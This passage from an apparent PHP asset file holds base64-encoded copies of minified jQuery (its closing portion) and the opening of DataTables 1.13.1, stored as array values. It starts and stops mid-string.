iLDI9PT1VdC5jaGlsZE5vZGVzLmxlbmd0aCksUy5wYXJzZUhUTUw9ZnVuY3Rpb24oZSx0LG4pe3JldHVybiJzdHJpbmciIT10eXBlb2YgZT9bXTooImJvb2xlYW4iPT10eXBlb2YgdCYmKG49dCx0PSExKSx0fHwodi5jcmVhdGVIVE1MRG9jdW1lbnQ/KChyPSh0PUUuaW1wbGVtZW50YXRpb24uY3JlYXRlSFRNTERvY3VtZW50KCIiKSkuY3JlYXRlRWxlbWVudCgiYmFzZSIpKS5ocmVmPUUubG9jYXRpb24uaHJlZix0LmhlYWQuYXBwZW5kQ2hpbGQocikpOnQ9RSksbz0hbiYmW10sKGk9Ti5leGVjKGUpKT9bdC5jcmVhdGVFbGVtZW50KGlbMV0pXTooaT14ZShbZV0sdCxvKSxvJiZvLmxlbmd0aCYmUyhvKS5yZW1vdmUoKSxTLm1lcmdlKFtdLGkuY2hpbGROb2RlcykpKTt2YXIgcixpLG99LFMuZm4ubG9hZD1mdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGE9dGhpcyxzPWUuaW5kZXhPZigiICIpO3JldHVybi0xPHMmJihyPXl0KGUuc2xpY2UocykpLGU9ZS5zbGljZSgwLHMpKSxtKHQpPyhuPXQsdD12b2lkIDApOnQmJiJvYmplY3QiPT10eXBlb2YgdCYmKGk9IlBPU1QiKSwwPGEubGVuZ3RoJiZTLmFqYXgoe3VybDplLHR5cGU6aXx8IkdFVCIsZGF0YVR5cGU6Imh0bWwiLGRhdGE6dH0pLmRvbmUoZnVuY3Rpb24oZSl7bz1hcmd1bWVudHMsYS5odG1sKHI/UygiPGRpdj4iKS5hcHBlbmQoUy5wYXJzZUhUTUwoZSkpLmZpbmQocik6ZSl9KS5hbHdheXMobiYmZnVuY3Rpb24oZSx0KXthLmVhY2goZnVuY3Rpb24oKXtuLmFwcGx5KHRoaXMsb3x8W2UucmVzcG9uc2VUZXh0LHQsZV0pfSl9KSx0aGlzfSxTLmV4cHIucHNldWRvcy5hbmltYXRlZD1mdW5jdGlvbih0KXtyZXR1cm4gUy5ncmVwKFMudGltZXJzLGZ1bmN0aW9uKGUpe3JldHVybiB0PT09ZS5lbGVtfSkubGVuZ3RofSxTLm9mZnNldD17c2V0T2Zmc2V0OmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYSxzLHUsbD1TLmNzcyhlLCJwb3NpdGlvbiIpLGM9UyhlKSxmPXt9OyJzdGF0aWMiPT09bCYmKGUuc3R5bGUucG9zaXRpb249InJlbGF0aXZlIikscz1jLm9mZnNldCgpLG89Uy5jc3MoZSwidG9wIiksdT1TLmNzcyhlLCJsZWZ0IiksKCJhYnNvbHV0ZSI9PT1sfHwiZml4ZWQiPT09bCkmJi0xPChvK3UpLmluZGV4T2YoImF1dG8iKT8oYT0ocj1jLnBvc2l0aW9uKCkpLnRvcCxpPXIubGVmdCk6KGE9cGFyc2VGbG9hdChvKXx8MCxpPXBhcnNlRmxvYXQodSl8fDApLG0odCkmJih0PXQuY2FsbChlLG4sUy5leHRlbmQoe30scykpKSxudWxsIT10LnRvcCYmKGYudG9wPXQudG9wLXMudG9wK2EpLG51bGwhPXQubGVmdCYmKGYubGVmdD10LmxlZnQtcy5sZWZ0K2kpLCJ1c2luZyJpbiB0P3QudXNpbmcuY2FsbChlLGYpOmMuY3NzKGYpfX0sUy5mbi5leHRlbmQoe29mZnNldDpmdW5jdGlvbih0KXtpZihhcmd1bWVudHMubGVuZ3RoKXJldHVybiB2b2lkIDA9PT10P3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKGUpe1Mub2Zmc2V0LnNldE9mZnNldCh0aGlzLHQsZSl9KTt2YXIgZSxuLHI9dGhpc1swXTtyZXR1cm4gcj9yLmdldENsaWVudFJlY3RzKCkubGVuZ3RoPyhlPXIuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCksbj1yLm93bmVyRG9jdW1lbnQuZGVmYXVsdFZpZXcse3RvcDplLnRvcCtuLnBhZ2VZT2Zmc2V0LGxlZnQ6ZS5sZWZ0K24ucGFnZVhPZmZzZXR9KTp7dG9wOjAsbGVmdDowfTp2b2lkIDB9LHBvc2l0aW9uOmZ1bmN0aW9uKCl7aWYodGhpc1swXSl7dmFyIGUsdCxuLHI9dGhpc1swXSxpPXt0b3A6MCxsZWZ0OjB9O2lmKCJmaXhlZCI9PT1TLmNzcyhyLCJwb3NpdGlvbiIpKXQ9ci5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTtlbHNle3Q9dGhpcy5vZmZzZXQoKSxuPXIub3duZXJEb2N1bWVudCxlPXIub2Zmc2V0UGFyZW50fHxuLmRvY3VtZW50RWxlbWVudDt3aGlsZShlJiYoZT09PW4uYm9keXx8ZT09PW4uZG9jdW1lbnRFbGVtZW50KSYmInN0YXRpYyI9PT1TLmNzcyhlLCJwb3NpdGlvbiIpKWU9ZS5wYXJlbnROb2RlO2UmJmUhPT1yJiYxPT09ZS5ub2RlVHlwZSYmKChpPVMoZSkub2Zmc2V0KCkpLnRvcCs9Uy5jc3MoZSwiYm9yZGVyVG9wV2lkdGgiLCEwKSxpLmxlZnQrPVMuY3NzKGUsImJvcmRlckxlZnRXaWR0aCIsITApKX1yZXR1cm57dG9wOnQudG9wLWkudG9wLVMuY3NzKHIsIm1hcmdpblRvcCIsITApLGxlZnQ6dC5sZWZ0LWkubGVmdC1TLmNzcyhyLCJtYXJnaW5MZWZ0IiwhMCl9fX0sb2Zmc2V0UGFyZW50OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubWFwKGZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5vZmZzZXRQYXJlbnQ7d2hpbGUoZSYmInN0YXRpYyI9PT1TLmNzcyhlLCJwb3NpdGlvbiIpKWU9ZS5vZmZzZXRQYXJlbnQ7cmV0dXJuIGV8fHJlfSl9fSksUy5lYWNoKHtzY3JvbGxMZWZ0OiJwYWdlWE9mZnNldCIsc2Nyb2xsVG9wOiJwYWdlWU9mZnNldCJ9LGZ1bmN0aW9uKHQsaSl7dmFyIG89InBhZ2VZT2Zmc2V0Ij09PWk7Uy5mblt0XT1mdW5jdGlvbihlKXtyZXR1cm4gQih0aGlzLGZ1bmN0aW9uKGUsdCxuKXt2YXIgcjtpZih4KGUpP3I9ZTo5PT09ZS5ub2RlVHlwZSYmKHI9ZS5kZWZhdWx0Vmlldyksdm9pZCAwPT09bilyZXR1cm4gcj9yW2ldOmVbdF07cj9yLnNjcm9sbFRvKG8/ci5wYWdlWE9mZnNldDpuLG8/bjpyLnBhZ2VZT2Zmc2V0KTplW3RdPW59LHQsZSxhcmd1bWVudHMubGVuZ3RoKX19KSxTLmVhY2goWyJ0b3AiLCJsZWZ0Il0sZnVuY3Rpb24oZSxuKXtTLmNzc0hvb2tzW25dPV9lKHYucGl4ZWxQb3NpdGlvbixmdW5jdGlvbihlLHQpe2lmKHQpcmV0dXJuIHQ9QmUoZSxuKSxQZS50ZXN0KHQpP1MoZSkucG9zaXRpb24oKVtuXSsicHgiOnR9KX0pLFMuZWFjaCh7SGVpZ2h0OiJoZWlnaHQiLFdpZHRoOiJ3aWR0aCJ9LGZ1bmN0aW9uKGEscyl7Uy5lYWNoKHtwYWRkaW5nOiJpbm5lciIrYSxjb250ZW50OnMsIiI6Im91dGVyIithfSxmdW5jdGlvbihyLG8pe1MuZm5bb109ZnVuY3Rpb24oZSx0KXt2YXIgbj1hcmd1bWVudHMubGVuZ3RoJiYocnx8ImJvb2xlYW4iIT10eXBlb2YgZSksaT1yfHwoITA9PT1lfHwhMD09PXQ/Im1hcmdpbiI6ImJvcmRlciIpO3JldHVybiBCKHRoaXMsZnVuY3Rpb24oZSx0LG4pe3ZhciByO3JldHVybiB4KGUpPzA9PT1vLmluZGV4T2YoIm91dGVyIik/ZVsiaW5uZXIiK2FdOmUuZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50WyJjbGllbnQiK2FdOjk9PT1lLm5vZGVUeXBlPyhyPWUuZG9jdW1lbnRFbGVtZW50LE1hdGgubWF4KGUuYm9keVsic2Nyb2xsIithXSxyWyJzY3JvbGwiK2FdLGUuYm9keVsib2Zmc2V0IithXSxyWyJvZmZzZXQiK2FdLHJbImNsaWVudCIrYV0pKTp2b2lkIDA9PT1uP1MuY3NzKGUsdCxpKTpTLnN0eWxlKGUsdCxuLGkpfSxzLG4/ZTp2b2lkIDAsbil9fSl9KSxTLmVhY2goWyJhamF4U3RhcnQiLCJhamF4U3RvcCIsImFqYXhDb21wbGV0ZSIsImFqYXhFcnJvciIsImFqYXhTdWNjZXNzIiwiYWpheFNlbmQiXSxmdW5jdGlvbihlLHQpe1MuZm5bdF09ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMub24odCxlKX19KSxTLmZuLmV4dGVuZCh7YmluZDpmdW5jdGlvbihlLHQsbil7cmV0dXJuIHRoaXMub24oZSxudWxsLHQsbil9LHVuYmluZDpmdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLm9mZihlLG51bGwsdCl9LGRlbGVnYXRlOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiB0aGlzLm9uKHQsZSxuLHIpfSx1bmRlbGVnYXRlOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gMT09PWFyZ3VtZW50cy5sZW5ndGg/dGhpcy5vZmYoZSwiKioiKTp0aGlzLm9mZih0LGV8fCIqKiIsbil9LGhvdmVyOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMubW91c2VlbnRlcihlKS5tb3VzZWxlYXZlKHR8fGUpfX0pLFMuZWFjaCgiYmx1ciBmb2N1cyBmb2N1c2luIGZvY3Vzb3V0IHJlc2l6ZSBzY3JvbGwgY2xpY2sgZGJsY2xpY2sgbW91c2Vkb3duIG1vdXNldXAgbW91c2Vtb3ZlIG1vdXNlb3ZlciBtb3VzZW91dCBtb3VzZWVudGVyIG1vdXNlbGVhdmUgY2hhbmdlIHNlbGVjdCBzdWJtaXQga2V5ZG93biBrZXlwcmVzcyBrZXl1cCBjb250ZXh0bWVudSIuc3BsaXQoIiAiKSxmdW5jdGlvbihlLG4pe1MuZm5bbl09ZnVuY3Rpb24oZSx0KXtyZXR1cm4gMDxhcmd1bWVudHMubGVuZ3RoP3RoaXMub24obixudWxsLGUsdCk6dGhpcy50cmlnZ2VyKG4pfX0pO3ZhciBHdD0vXltcc1x1RkVGRlx4QTBdK3woW15cc1x1RkVGRlx4QTBdKVtcc1x1RkVGRlx4QTBdKyQvZztTLnByb3h5PWZ1bmN0aW9uKGUsdCl7dmFyIG4scixpO2lmKCJzdHJpbmciPT10eXBlb2YgdCYmKG49ZVt0XSx0PWUsZT1uKSxtKGUpKXJldHVybiByPXMuY2FsbChhcmd1bWVudHMsMiksKGk9ZnVuY3Rpb24oKXtyZXR1cm4gZS5hcHBseSh0fHx0aGlzLHIuY29uY2F0KHMuY2FsbChhcmd1bWVudHMpKSl9KS5ndWlkPWUuZ3VpZD1lLmd1aWR8fFMuZ3VpZCsrLGl9LFMuaG9sZFJlYWR5PWZ1bmN0aW9uKGUpe2U/Uy5yZWFkeVdhaXQrKzpTLnJlYWR5KCEwKX0sUy5pc0FycmF5PUFycmF5LmlzQXJyYXksUy5wYXJzZUpTT049SlNPTi5wYXJzZSxTLm5vZGVOYW1lPUEsUy5pc0Z1bmN0aW9uPW0sUy5pc1dpbmRvdz14LFMuY2FtZWxDYXNlPVgsUy50eXBlPXcsUy5ub3c9RGF0ZS5ub3csUy5pc051bWVyaWM9ZnVuY3Rpb24oZSl7dmFyIHQ9Uy50eXBlKGUpO3JldHVybigibnVtYmVyIj09PXR8fCJzdHJpbmciPT09dCkmJiFpc05hTihlLXBhcnNlRmxvYXQoZSkpfSxTLnRyaW09ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGw9PWU/IiI6KGUrIiIpLnJlcGxhY2UoR3QsIiQxIil9LCJmdW5jdGlvbiI9PXR5cGVvZiBkZWZpbmUmJmRlZmluZS5hbWQmJmRlZmluZSgianF1ZXJ5IixbXSxmdW5jdGlvbigpe3JldHVybiBTfSk7dmFyIFl0PUMualF1ZXJ5LFF0PUMuJDtyZXR1cm4gUy5ub0NvbmZsaWN0PWZ1bmN0aW9uKGUpe3JldHVybiBDLiQ9PT1TJiYoQy4kPVF0KSxlJiZDLmpRdWVyeT09PVMmJihDLmpRdWVyeT1ZdCksU30sInVuZGVmaW5lZCI9PXR5cGVvZiBlJiYoQy5qUXVlcnk9Qy4kPVMpLFN9KTsK', 'js-jquery-datatables' => 'LyohIERhdGFUYWJsZXMgMS4xMy4xCiAqIMKpMjAwOC0yMDIyIFNwcnlNZWRpYSBMdGQgLSBkYXRhdGFibGVzLm5ldC9saWNlbnNlCiAqLwohZnVuY3Rpb24obil7InVzZSBzdHJpY3QiOyJmdW5jdGlvbiI9PXR5cGVvZiBkZWZpbmUmJmRlZmluZS5hbWQ/ZGVmaW5lKFsianF1ZXJ5Il0sZnVuY3Rpb24odCl7cmV0dXJuIG4odCx3aW5kb3csZG9jdW1lbnQpfSk6Im9iamVjdCI9PXR5cGVvZiBleHBvcnRzP21vZHVsZS5leHBvcnRzPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9dHx8d2luZG93LGU9ZXx8KCJ1bmRlZmluZWQiIT10eXBlb2Ygd2luZG93P3JlcXVpcmUoImpxdWVyeSIpOnJlcXVpcmUoImpxdWVyeSIpKHQpKSxuKGUsdCx0LmRvY3VtZW50KX06d2luZG93LkRhdGFUYWJsZT1uKGpRdWVyeSx3aW5kb3csZG9jdW1lbnQpfShmdW5jdGlvbihQLGosdixOKXsidXNlIHN0cmljdCI7ZnVuY3Rpb24gZCh0KXt2YXIgZT1wYXJzZUludCh0LDEwKTtyZXR1cm4haXNOYU4oZSkmJmlzRmluaXRlKHQpP2U6bnVsbH1mdW5jdGlvbiBsKHQsZSxuKXt2YXIgYT0ic3RyaW5nIj09dHlwZW9mIHQ7cmV0dXJuISFoKHQpfHwoZSYmYSYmKHQ9Ryh0LGUpKSxuJiZhJiYodD10LnJlcGxhY2UocSwiIikpLCFpc05hTihwYXJzZUZsb2F0KHQpKSYmaXNGaW5pdGUodCkpfWZ1bmN0aW9uIGEodCxlLG4pe3ZhciBhO3JldHVybiEhaCh0KXx8KGgoYT10KXx8InN0cmluZyI9PXR5cGVvZiBhKSYmISFsKHQucmVwbGFjZShWLCIiKSxlLG4pfHxudWxsfWZ1bmN0aW9uIG0odCxlLG4sYSl7dmFyIHI9W10sbz0wLGk9ZS5sZW5ndGg7aWYoYSE9PU4pZm9yKDtvPGk7bysrKXRbZVtvXV1bbl0mJnIucHVzaCh0W2Vbb11dW25dW2FdKTtlbHNlIGZvcig7bzxpO28rKylyLnB1c2godFtlW29dXVtuXSk7cmV0dXJuIHJ9ZnVuY3Rpb24gZih0LGUpe3ZhciBuLGE9W107ZT09PU4/KGU9MCxuPXQpOihuPWUsZT10KTtmb3IodmFyIHI9ZTtyPG47cisrKWEucHVzaChyKTtyZXR1cm4gYX1mdW5jdGlvbiBfKHQpe2Zvcih2YXIgZT1bXSxuPTAsYT10Lmxlbmd0aDtuPGE7bisrKXRbbl0mJmUucHVzaCh0W25dKTtyZXR1cm4gZX1mdW5jdGlvbiBzKHQsZSl7cmV0dXJuLTEhPT10aGlzLmluZGV4T2YodCxlPWU9PT1OPzA6ZSl9dmFyIHAsZSx0LEM9ZnVuY3Rpb24odCx2KXtpZih0aGlzIGluc3RhbmNlb2YgQylyZXR1cm4gUCh0KS5EYXRhVGFibGUodik7dj10LHRoaXMuJD1mdW5jdGlvbih0LGUpe3JldHVybiB0aGlzLmFwaSghMCkuJCh0LGUpfSx0aGlzLl89ZnVuY3Rpb24odCxlKXtyZXR1cm4gdGhpcy5hcGkoITApLnJvd3ModCxlKS5kYXRhKCl9LHRoaXMuYXBpPWZ1bmN0aW9uKHQpe3JldHVybiBuZXcgQih0P2dlKHRoaXNbcC5pQXBpSW5kZXhdKTp0aGlzKX0sdGhpcy5mbkFkZERhdGE9ZnVuY3Rpb24odCxlKXt2YXIgbj10aGlzLmFwaSghMCksdD0oQXJyYXkuaXNBcnJheSh0KSYmKEFycmF5LmlzQXJyYXkodFswXSl8fFAuaXNQbGFpbk9iamVjdCh0WzBdKSk/bi5yb3dzOm4ucm93KS5hZGQodCk7cmV0dXJuIGUhPT1OJiYhZXx8bi5kcmF3KCksdC5mbGF0dGVuKCkudG9BcnJheSgpfSx0aGlzLmZuQWRqdXN0Q29sdW1uU2l6aW5nPWZ1bmN0aW9uKHQpe3ZhciBlPXRoaXMuYXBpKCEwKS5jb2x1bW5zLmFkanVzdCgpLG49ZS5zZXR0aW5ncygpWzBdLGE9bi5vU2Nyb2xsO3Q9PT1OfHx0P2UuZHJhdyghMSk6IiI9PT1hLnNYJiYiIj09PWEuc1l8fFF0KG4pfSx0aGlzLmZuQ2xlYXJUYWJsZT1mdW5jdGlvbih0KXt2YXIgZT10aGlzLmFwaSghMCkuY2xlYXIoKTt0IT09TiYmIXR8fGUuZHJhdygpfSx0aGlzLmZuQ2xvc2U9ZnVuY3Rpb24odCl7dGhpcy5hcGkoITApLnJvdyh0KS5jaGlsZC5oaWRlKCl9LHRoaXMuZm5EZWxldGVSb3c9ZnVuY3Rpb24odCxlLG4pe3ZhciBhPXRoaXMuYXBpKCEwKSx0PWEucm93cyh0KSxyPXQuc2V0dGluZ3MoKVswXSxvPXIuYW9EYXRhW3RbMF1bMF1dO3JldHVybiB0LnJlbW92ZSgpLGUmJmUuY2FsbCh0aGlzLHIsbyksbiE9PU4mJiFufHxhLmRyYXcoKSxvfSx0aGlzLmZuRGVzdHJveT1mdW5jdGlvbih0KXt0aGlzLmFwaSghMCkuZGVzdHJveSh0KX0sdGhpcy5mbkRyYXc9ZnVuY3Rpb24odCl7dGhpcy5hcGkoITApLmRyYXcodCl9LHRoaXMuZm5GaWx0ZXI9ZnVuY3Rpb24odCxlLG4sYSxyLG8pe3ZhciBpPXRoaXMuYXBpKCEwKTsobnVsbD09PWV8fGU9PT1OP2k6aS5jb2x1bW4oZSkpLnNlYXJjaCh0LG4sYSxvKSxpLmRyYXcoKX0sdGhpcy5mbkdldERhdGE9ZnVuY3Rpb24odCxlKXt2YXIgbixhPXRoaXMuYXBpKCEwKTtyZXR1cm4gdCE9PU4/KG49dC5ub2RlTmFtZT90Lm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk6IiIsZSE9PU58fCJ0ZCI9PW58fCJ0aCI9PW4/YS5jZWxsKHQsZSkuZGF0YSgpOmEucm93KHQpLmRhdGEoKXx8bnVsbCk6YS5kYXRhKCkudG9BcnJheSgpfSx0aGlzLmZuR2V0Tm9kZXM9ZnVuY3Rpb24odCl7dmFyIGU9dGhpcy5hcGkoITApO3JldHVybiB0IT09Tj9lLnJvdyh0KS5ub2RlKCk6ZS5yb3dzKCkubm9kZXMoKS5mbGF0dGVuKCkudG9BcnJheSgpfSx0aGlzLmZuR2V0UG9zaXRpb249ZnVuY3Rpb24odCl7dmFyIGU9dGhpcy5hcGkoITApLG49dC5ub2RlTmFtZS50b1VwcGVyQ2FzZSgpO3JldHVybiJUUiI9PW4/ZS5yb3codCkuaW5kZXgoKToiVEQiPT1ufHwiVEgiPT1uP1sobj1lLmNlbGwodCkuaW5kZXgoKSkucm93LG4uY29sdW1uVmlzaWJsZSxuLmNvbHVtbl06bnVsbH0sdGhpcy5mbklzT3Blbj1mdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5hcGkoITApLnJvdyh0KS5jaGlsZC5pc1Nob3duKCl9LHRoaXMuZm5PcGVuPWZ1bmN0aW9uKHQsZSxuKXtyZXR1cm4gdGhpcy5hcGkoITApLnJvdyh0KS5jaGlsZChlLG4pLnNob3coKS5jaGlsZCgpWzBdfSx0aGlzLmZuUGFnZUNoYW5nZT1mdW5jdGlvbih0LGUpe3Q9dGhpcy5hcGkoITApLnBhZ2UodCk7ZSE9PU4mJiFlfHx0LmRyYXcoITEpfSx0aGlzLmZuU2V0Q29sdW1uVmlzPWZ1bmN0aW9uKHQsZSxuKXt0PXRoaXMuYXBpKCEwKS5jb2x1bW4odCkudmlzaWJsZShlKTtuIT09TiYmIW58fHQuY29sdW1ucy5hZGp1c3QoKS5kcmF3KCl9LHRoaXMuZm5TZXR0aW5ncz1mdW5jdGlvbigpe3JldHVybiBnZSh0aGlzW3AuaUFwaUluZGV4XSl9LHRoaXMuZm5Tb3J0PWZ1bmN0aW9uKHQpe3RoaXMuYXBpKCEwKS5vcmRlcih0KS5kcmF3KCl9LHRoaXMuZm5Tb3J0TGlzdGVuZXI9ZnVuY3Rpb24odCxlLG4pe3RoaXMuYXBpKCEwKS5vcmRlci5saXN0ZW5lcih0LGUsbil9LHRoaXMuZm5VcGRhdGU9ZnVuY3Rpb24odCxlLG4sYSxyKXt2YXIgbz10aGlzLmFwaSghMCk7cmV0dXJuKG49PT1OfHxudWxsPT09bj9vLnJvdyhlKTpvLmNlbGwoZSxuKSkuZGF0YSh0KSxyIT09TiYmIXJ8fG8uY29sdW1ucy5hZGp1c3QoKSxhIT09TiYmIWF8fG8uZHJhdygpLDB9LHRoaXMuZm5WZXJzaW9uQ2hlY2s9cC5mblZlcnNpb25DaGVjazt2YXIgZSx5PXRoaXMsRD12PT09TixfPXRoaXMubGVuZ3RoO2ZvcihlIGluIEQmJih2PXt9KSx0aGlzLm9BcGk9dGhpcy5pbnRlcm5hbD1wLmludGVybmFsLEMuZXh0LmludGVybmFsKWUmJih0aGlzW2VdPUdlKGUpKTtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIHI9MTxfP2JlKHt9LHYsITApOnYsbz0wLHQ9dGhpcy5nZXRBdHRyaWJ1dGUoImlkIiksaT0hMSxlPUMuZGVmYXVsdHMsbD1QKHRoaXMpO2lmKCJ0YWJsZSIhPXRoaXMubm9kZU5hbWUudG9Mb3dlckNhc2UoKSlXKG51bGwsMCwiTm9uLXRhYmxlIG5vZGUgaW5pdGlhbGlzYXRpb24gKCIrdGhpcy5ub2RlTmFtZSsiKSIsMik7ZWxzZXtLKGUpLFEoZS5jb2x1bW4pLHcoZSxlLCEwKSx3KGUuY29sdW1uLGUuY29sdW1uLCEwKSx3KGUsUC5leHRlbmQocixsLmRhdGEoKSksITApO2Zvcih2YXIgbj1DLnNldHRpbmdzLG89MCxzPW4ubGVuZ3RoO288cztvKyspe3ZhciBhPW5bb107aWYoYS5uVGFibGU9PXRoaXN8fGEublRIZWFkJiZhLm5USGVhZC5wYXJlbnROb2RlPT10aGlzfHxhLm5URm9vdCYmYS5uVEZvb3QucGFyZW50Tm9kZT09dGhpcyl7dmFyIHU9KHIuYlJldHJpZXZlIT09Tj9yOmUpLmJSZXRyaWV2ZSxjPShyLmJEZXN0cm95IT09Tj9yOmUpLmJEZXN0cm95O2lmKER8fHUpcmV0dXJuIGEub0luc3RhbmNlO2lmKGMpe2Eub0luc3RhbmNlLmZuRGVzdHJveSgpO2JyZWFrfXJldHVybiB2b2lkIFcoYSwwLCJDYW5ub3QgcmVpbml0aWFsaXNlIERhdGFUYWJsZSIsMyl9aWYoYS5zVGFibGVJZD09dGhpcy5pZCl7bi5zcGxpY2UobywxKTticmVha319bnVsbCE9PXQmJiIiIT09dHx8KHQ9IkRhdGFUYWJsZXNfVGFibGVfIitDLmV4dC5fdW5pcXVlKyssdGhpcy5pZD10KTt2YXIgZixkLGg9UC5leHRlbmQoITAse30sQy5tb2RlbHMub1NldHRpbmdzLHtzRGVzdHJveVdpZHRoOmxbMF0uc3R5bGUud2lkdGgsc0luc3RhbmNlOnQsc1RhYmxlSWQ6dH0pLHA9KGgublRhYmxlPXRoaXMsaC5vQXBpPXkuaW50ZXJuYWwsaC5vSW5pdD1yLG4ucHVzaChoKSxoLm9JbnN0YW5jZT0xPT09eS5sZW5ndGg/eTpsLmRhdGFUYWJsZSgpLEsociksWihyLm9MYW5ndWFnZSksci5hTGVuZ3RoTWVudSYmIXIuaURpc3BsYXlMZW5ndGgmJihyLmlEaXNwbGF5TGVuZ3RoPShBcnJheS5pc0FycmF5KHIuYUxlbmd0aE1lbnVbMF0pP3IuYUxlbmd0aE1lbnVbMF06ci5hTGVuZ3RoTWVudSlbMF0pLHI9YmUoUC5leHRlbmQoITAse30sZSksciksRihoLm9GZWF0dXJlcyxyLFsiYlBhZ2luYXRlIiwiYkxlbmd0aENoYW5nZSIsImJGaWx0ZXIiLCJiU29ydCIsImJTb3J0TXVsdGkiLCJiSW5mbyIsImJQcm9jZXNzaW5nIiwiYkF1dG9XaWR0aCIsImJTb3J0Q2xhc3NlcyIsImJTZXJ2ZXJTaWRlIiwiYkRlZmVyUmVuZGVyIl0pLEYoaCxyLFsiYXNTdHJpcGVDbGFzc2VzIiwiYWpheCIsImZuU2VydmVyRGF0YSIsImZuRm9ybWF0TnVtYmVyIiwic1NlcnZlck1ldGhvZCIsImFhU29ydGluZyIsImFhU29ydGluZ0ZpeGVkIiwiYUxlbmd0aE1lbnUiLCJzUGFnaW5hdGlvblR5cGUiLCJzQWpheFNvdXJjZSIsInNBamF4RGF0YVByb3AiLCJpU3RhdGVEdXJhdGlvbiIsInNEb20iLCJiU29ydENlbGxzVG9wIiwiaVRhYkluZGV4IiwiZm5TdGF0ZUxvYWRDYWxsYmFjayIsImZuU3RhdGVTYXZlQ2FsbGJhY2siLCJyZW5kZXJlciIsInNlYXJjaERlbGF5Iiwicm93SWQiLFsiaUNvb2tpZUR1cmF0aW9uIiwiaVN0YXRlRHVyYXRpb24iXSxbIm9TZWFyY2giLCJvUHJldmlvdXNTZWFyY2giXSxbImFvU2VhcmNoQ29scyIsImFvUHJlU2VhcmNoQ29scyJdLFsiaURpc3BsYXlMZW5ndGgiLCJfaURpc3BsYXlMZW5ndGgiXV0pLEYoaC5vU2Nyb2xsLHIsW1sic1Njcm9sbFgiLCJzWCJdLFsic1Njcm9sbFhJbm5lciIsInNYSW5uZXIiXSxbInNTY3JvbGxZIiwic1kiXSxbImJTY3JvbGxDb2xsYXBzZSIsImJDb2xsYXBzZSJdXSksRihoLm9MYW5ndWFnZSxyLCJmbkluZm9DYWxsYmFjayIpLEwoaCwiYW9EcmF3Q2FsbGJhY2siLHIuZm5EcmF3Q2FsbGJhY2ssInVzZXIiKSxMKGgsImFvU2VydmVyUGFyYW1zIixyLmZuU2VydmVyUGFyYW1zLCJ1c2VyIiksTChoLCJhb1N0YXRlU2F2ZVBhcmFtcyIsci5mblN0YXRlU2F2ZVBhcmFtcywidXNlciIpLEwoaCwiYW9TdGF0ZUxvYWRQYXJhbXMiLHIuZm5TdGF0ZUxvYWRQYXJhbXMsInVzZXIiKSxMKGgsImFvU3RhdGVMb2FkZWQiLHIuZm5TdGF0ZUxvYWRlZCwidXNlciIpLEwoaCwiYW9Sb3dDYWxsYmFjayIsci5mblJvd0NhbGxiYWNrLCJ1c2VyIiksTChoLCJhb1Jvd0NyZWF0ZWRDYWxsYmFjayIsci5mbkNyZWF0ZWRSb3csInVzZXIiKSxMKGgsImFvSGVhZGVyQ2FsbGJhY2siLHIuZm5IZWFkZXJDYWxsYmFjaywidXNlciIpLEwoaCwiYW9Gb290ZXJDYWxsYmFjayIsci5mbkZvb3RlckNhbGxiYWNrLCJ1c2VyIiksTChoLCJhb0luaXRDb21wbGV0ZSIsci5mbkluaXRDb21wbGV0ZSwidXNlciIpLEwoaCwiYW9QcmVEcmF3Q2FsbGJhY2siLHIuZm5QcmVEcmF3Q2FsbGJhY2ssInVzZXIiKSxoLnJvd0lkRm49QShyLnJvd0lkKSx0dChoKSxoLm9DbGFzc2VzKSxnPShQLmV4dGVuZChwLEMuZXh0LmNsYXNzZXMsci5vQ2xhc3NlcyksbC5hZGRDbGFzcyhwLnNUYWJsZSksaC5pSW5pdERpc3BsYXlTdGFydD09PU4mJihoLmlJbml0RGlzcGxheVN0YXJ0PXIuaURpc3BsYXlTdGFydCxoLl9pRGlzcGxheVN0YXJ0PXIuaURpc3BsYXlTdGFydCksbnVsbCE9PXIuaURlZmVyTG9hZGluZyYmKGguYkRlZmVyTG9hZGluZz0hMCx0PUFycmF5LmlzQXJyYXkoci5pRGVmZXJMb2FkaW5nKSxoLl9pUmVjb3Jkc0Rpc3BsYXk9dD9yLmlEZWZlckxvYWRpbmdbMF06ci5pRGVmZXJMb2FkaW5nLGguX2lSZWNvcmRzVG90YWw9dD9yLmlEZWZlckxvYWRpbmdbMV06ci5pRGVmZXJMb2FkaW5nKSxoLm9MYW5ndWFnZSksdD0oUC5leHRlbmQoITAsZyxyLm9MYW5ndWFnZSksZy5zVXJsPyhQLmFqYXgoe2RhdGFUeXBlOiJqc29uIix1cmw6Zy5zVXJsLHN1Y2Nlc3M6ZnVuY3Rpb24odCl7dyhlLm9MYW5ndWFnZSx0KSxaKHQpLFAuZXh0ZW5kKCEwLGcsdCxoLm9Jbml0Lm9MYW5ndWFnZSksUihoLG51bGwsImkxOG4iLFtoXSksSnQoaCl9LGVycm9yOmZ1bmN0aW9uKCl7SnQoaCl9fSksaT0hMCk6UihoLG51bGwsImkxOG4iLFtoXSksbnVsbD09PXIuYXNTdHJpcGVDbGFzc2VzJiYoaC5hc1N0cmlwZUNsYXNzZXM9W3Auc1N0cmlwZU9kZCxwLnNTdHJpcGVFdmVuXSksaC5hc1N0cmlwZUNsYXNzZXMpLGI9bC5jaGlsZHJlbigidGJvZHkiKS5maW5kKCJ0ciIpLmVxKDApLG09KC0xIT09UC5pbkFycmF5KCEwLFAubWFwKHQsZnVuY3Rpb24odCxlKXtyZXR1cm4gYi5oYXNDbGFzcyh0KX0pKSYmKFAoInRib2R5IHRyIix0aGlz